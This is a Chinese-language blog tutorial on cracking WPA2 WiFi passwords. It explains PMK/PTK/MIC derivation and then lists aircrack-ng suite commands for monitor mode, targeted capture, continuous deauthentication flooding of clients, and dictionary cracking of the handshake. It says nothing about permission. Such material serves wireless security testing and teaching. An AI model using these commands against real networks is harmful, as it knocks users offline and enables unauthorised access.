返回
Featured image of post 破解WiFi密码

破解WiFi密码

go!

破解WiFi密码

基础

WPA2其实是基于WPA的一种新的加密方式。WPA指的是保护无线电脑网络安全系统(Wi-Fi Protected Access),大大增强现有以及未来无线局域网系统的数据保护和访问控制水平。而WPA2是WPA的增强型版本,与WPA相比,WPA2新增了支持AES的加密方式。WPA2其安全性是利用密钥导出函数来增强的,但是使用者采用的典型的弱密也会被密码破解攻击。

WPA密码其实称为PSK,长度一般是8-63字节,它加上ssid通过哈希算法可以得到PMK,PMK是定长的64字节。由于计算PMK的过程开销比较大,是破解花费时间长的关键,所以采用以空间换时间的原则把PMK事先生成好,这个事先生成好的表就是常说的HASH表,这个工作就是用airlib-ng这个工具来完成的。

在认证的时候会生成一个PTK,这是一组密钥,它的生成方法也是采用哈希,参数是连接的客户端MAC地址、AP的BSSID、A-NONCE、S-NONCE、PMK,其中A-NONCE和S-NONCE是两个随机数,确保每次连接都会生成不同的PTK,PTK的计算消耗很小,PTK加上报文数据采用加密算法(AES或TKIP)得到密文,同时会得到一个签名,叫做MIC(message integrality check)。

破解密码的关键流程:

  • PMK = SHA-1(SSID, PSK)
  • PTK = hash(MAC, BSSID, A-NONCE, S-NONCE, PMK)
  • 密文 = AES或TKIP(PTK, data)
  • 签名MIC = HMAC(PTK, 整个802.1x认证报文)

在握手包过程中可以获得的是:客户端的MAC地址,AP的BSSID,A-NONCE,S-NONE,MIC。而认证原理就是客户端算出MIC发给AP,AP也采用相同方法计算并与之比较,若一致则认证通过。

破解:

  • 先抓取握手包

  • 用字典中的PSK+ssid先生成PMK(如果有已经生成好的HASH表则略过)

  • 结合握手包中的(客户端MAC,AP的BSSID,A-NONCE,S-NONCE)计算PTK,再加上原始的报文数据算出MIC并与AP发送的MIC比较,如果一致,那么该PSK就是密钥

原理

通过DeAuth泛洪攻击让连接WiFi的设备断开连接,客户端设备会尝试重联,在这个过程中监听某设备与WiFi重新建立连接时的握手包,其中包含密文密码,随后使用工具破解即可。

利用

开启网卡监听

airmon-ng start wlan0

扫描WiFi信号

airodump-ng wlan0mon

各个参数含义:

  • BSSID 路由器的 MAC 地址
  • PWR 信号的强度,数值越大代表信息越强
  • CH 信道
  • ENC 加密的方式
  • AUTH 认证方式
  • ESSID WIFI名字

监听流量

airodump-ng -w wifi名 -c 信道 --bssid xxxx wlan0mon

DeAuth泛洪攻击

aireplay-ng -0 0 -a WIFI物理地址 -c 用户设备物理地址 wlan0mon
# 参数
-0 3 表示发送3次,-0 0 表示持续发送;不加 -c 参数表示断开所有客户端的连接

暴力破解

查看所拦截的数据包,检测这个包里是否有握手包:

aircrack-ng /tmp/xxx.cap

破解:

aircrack-ng /tmp/xxx.cap -w 字典路径
Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy